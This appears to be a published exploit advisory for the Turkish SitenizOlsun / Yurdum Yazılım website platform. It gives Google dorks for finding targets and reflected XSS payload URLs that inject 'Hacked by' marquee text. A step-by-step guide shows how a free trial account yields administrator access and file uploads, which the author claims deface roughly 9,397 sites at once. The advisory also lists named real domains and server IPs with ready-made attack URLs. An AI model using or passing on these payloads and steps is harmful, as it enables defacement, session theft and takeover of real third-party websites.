Yurdum Yazılım SitenizOlsun Reflected XSS Add Administrator

###################################################################

# Exploit Title : Yurdum Yazılım SitenizOlsun Reflected XSS Add Administrator Vulnerability
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 09/06/2019
# Vendor Homepages : yurdumyazilim.com ~ sitenizolsun.com
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type :
CWE-79 [ Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ]
CWE-671 [ Lack of Administrator Control over Security ]
CWE-522 [ Insufficiently Protected Credentials ]
CWE-284 [ Improper Access Control ]
CWE-285 [ Improper Authorization ]
# Google Dorks :
inurl:/?pnum= intext:Yer sağlayıcı: Yurdum Yazılım site:tr
inurl:/?pnum= intext:Yer sağlayıcı: SitenizOlsun. site:tr
intext:Yer sağlayıcı: SitenizOlsun site:tr
intext:Yer sağlayıcı: Yurdum Yazılım site:tr
inurl:/?pnum= site:gov.tr
inurl:/?pnum= site:bel.tr
inurl:/?pnum= site:k12.tr
inurl:/?pnum= site:org.tr
inurl:/?pnum= site:com.tr
inurl:/?pnum= site:com
inurl:/?pnum= site:net
inurl:/?pnum= site:org
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Reference Link : cxsecurity.com/ascii/WLB-2019010038

###################################################################

Impact 1 Reflected XSS Cross Site Scripting (or Non-Persistent) :
*********************************************************
The server reads data directly from the HTTP request and reflects it back in the
HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply
dangerous content to a vulnerable web application, which is then reflected back to the victim
 and executed by the web browser. The most common mechanism for delivering malicious
content is to include it as a parameter in a URL that is posted publicly or e-mailed directly
to the victim. URLs constructed in this manner constitute the core of many phishing
schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site.
After the site reflects the attacker's content back to the victim,the content is
executed by the victim's browser. A successful exploit could allow the attacker
to execute arbitrary script code in the context of the affected site
and allow the attacker to access sensitive browser-based information.
An attacker, for example,can exploit this vulnerability to steal cookies from
the attacked user in order to hijack a session and gain access to the system.

Impact 2 Lack of Administrator Control over Security :
***********************************************
The product uses security features in a way that prevents the product's administrator from
tailoring security settings to reflect the environment in which the product is being used.
This introduces resultant weaknesses or prevents it from operating at a level of security
that is desired by the administrator.This weakness occurs when the application transmits
or stores authentication credentials and uses an insecure method that is susceptible to
unauthorized interception and/or retrieval.The software does not perform or incorrectly
performs an authorization check when an actor attempts to access a resource or
perform an action. An attacker could gain access to user accounts and access sensitive
data used by the user accounts.

###################################################################

# Reflected Cross Site Scripting XSS Exploits and Payloads :
*******************************************************
1%27<marquee><font%20color=lime%20size=32>XSS-Vulnerability-Found-By-KingSkrupellos</font></marquee>

1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

/?pnum=1&pt=1%27"></h3></tr></td></table></tr></td></table></div><marquee>XSS-Vulnerability-Found-By-KingSkrupellos

/?pnum=1&pt=1%27<marquee><font%20color=lime%20size=32>KingSkrupellos</font></marquee>

/?pnum=1&pt=1%27<marquee><font%20color=lime%20size=32>Hacked%20by%20KingSkrupellos</font></marquee>

/?pnum=[ID-NUMBER]&pt=1%27<marquee><font%20color=lime%20size=32>Hacked%20by%20KingSkrupellos</font></marquee>

/?SyfNmb=3&pt=1%27<marquee><font%20color=lime%20size=32>Hacked%20by%20KingSkrupellos</font></marquee>

/?SyfNmb=[ID-NUMBER]&pt=1%27<marquee><font%20color=lime%20size=32>Hacked%20by%20KingSkrupellos</font></marquee>

/?Syf=4&pt=1%27<marquee><font%20color=lime%20size=32>Hacked%20by%20KingSkrupellos</font></marquee>

/?Syf=[ID-NUMBER]&pt=1%27<marquee><font%20color=lime%20size=32>Hacked%20by%20KingSkrupellos</font></marquee>

/?product=1&pt=1%27<marquee><font%20color=lime%20size=32>Hacked%20by%20KingSkrupellos</font></marquee>

/?product=[ID-NUMBER]&pt=1%27<marquee><font%20color=lime%20size=32>Hacked%20by%20KingSkrupellos</font></marquee>

# Add Administrator / Privilege Escalation Vulnerability :
***********************************************
To Take Administrator Account Register to sitenizolsun.com => Click '' Ücretsiz Dene " [ Try Free ]

Then you will redirected to this address.

sitenizolsun.com/website-temalari?paket=6

sitenizolsun.com/website-temalari?paket=[ID-NUMBER]

Choose one packet which you want.

sitenizolsun.com/website-ucretsiz-deneme-form.php?website-theme=6&paket=6

sitenizolsun.com/website-ucretsiz-deneme-form.php?website-theme=[ID-NUMBER]&paket=[ID-NUMBER]

Ücretsiz Deneme Web Siteni Oluştur [ Create your Free Test Account ]

Create any Random username - Create Random or your real E-Mail Address - Create Title - Random Phone Number

Then Click " Sitemi Oluştur " [ Create My Website ]. Please Wait.

It will create test site and administrator e-mail address and password.

http://[TEST-TARGET-WEBSITE-HERE].denemepaketi.com

Yönetim paneli kullanıcı adınız: YOUR ADMINISTRATOR E-MAIL ADDRESS HERE
Yönetim paneli şifreniz : YOUR ADMINISTRATOR PASSWORD HERE

Administrator Login Path :

/login/
/login/do_login.php

One Free Test Website - But you can control approximately 9397 websites at the same.

You can upload files to the vulnerable system.

Step 1 : Go to the " Temel Sayfalar " [ Main Pages ] => Anasayfa [ Homepage ] =>

Step 2 : Click to " Anasayfayı Düzenle " [ Edit Homepage ]

Step 3 : Choose " Resim Ekle " [ Insert Image ] => Click to " Kaynak " [ Source ]

Step 4 : /syp/dosyayukle.php?DosyaTipi=2

http://[TEST-TARGET-WEBSITE-HERE].denemepaketi.com/syp/dosyayukle.php?DosyaTipi=2

You will see a yellow and white page and it says :

Step 5 : Yüklemek istediğiniz dosyaları "Gözat"a tıklayarak bilgisayarınızdan seçiniz ve "Yükle" ye tıklayınız.

[ Select the files you want to upload from your computer by clicking "Browse" and click "Upload". ]

Step 6 : Choose " Sayfaya sığdır (Resimler için geçerli) Max 30 MB "

Step 7 : Choose your .html file from your PC and upload it. But choose HTML. Click " Yükle " [ Upload ] Button.

Your File Destination :

/FileUpload/epXXXXXX/File/[yourfilename.html]

If you another sections such as " Add Header Image " or " Add Album "

Your File Destination :

/FileUpload/epXXXXXX/HeaderImages/crop/[RANDOM-NUMBERS].jpg

/FileUpload/epXXXXXX/Album/epXXXXXX_[YEAR][MONTH][DAY][RANDOM-NUMBERS].jpg

You can see your defaced indexes on 9397 websites at the same.

Congratulations :)

###################################################################

# Example Vulnerable Sites for XSS Reflected Cross Site Scripting  :
***********************************************************
Vulnerable IP Addresses =>

51.254.33.49 => There are 37 domains hosted on this server.

81.171.1.140 => There are 8,552 domains hosted on this server.

159.69.209.93 => There are 798 domains hosted on this server.

[+] gurelektrikotomasyon.com/?Syf=4&pt=1%27%3Cmarquee%3E%3CfAnt%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] giresunkesaparnavutkoy.com/?SyfNmb=2&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] gezintihaberleri.com/?SyfNmb=4&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] furkankirtasiye.com/?pnum=8&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] edirneselimiyeemlak.com/?Syf=13&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] giresunkesaparnavutkoy.com/?SyfNmb=2&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] doganisguvenligi.com/?Syf=21&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] cyberenerji.com/?pnum=9&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] siirtfistikpazari.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] saglamelektronik.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] radyobalkan.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] pediatrikkalpcerrahisi.com/?Syf=15&blg=1&ncat_id=699210&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] ozerdeminsaatdekorasyon.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] otoarizatespit.org/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] onaranelektrik.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] oabtfizik.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] trabzonbasket.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] ozelegitimaraclari.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] reklamfolyosu.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] sivasaskf.org/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] tablopark.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] vansuaritmaci.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

[+] noktadusakabin.com/?pnum=1&pt=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20KingSkrupellos%3C/font%3E%3C/marquee%3E

###################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

###################################################################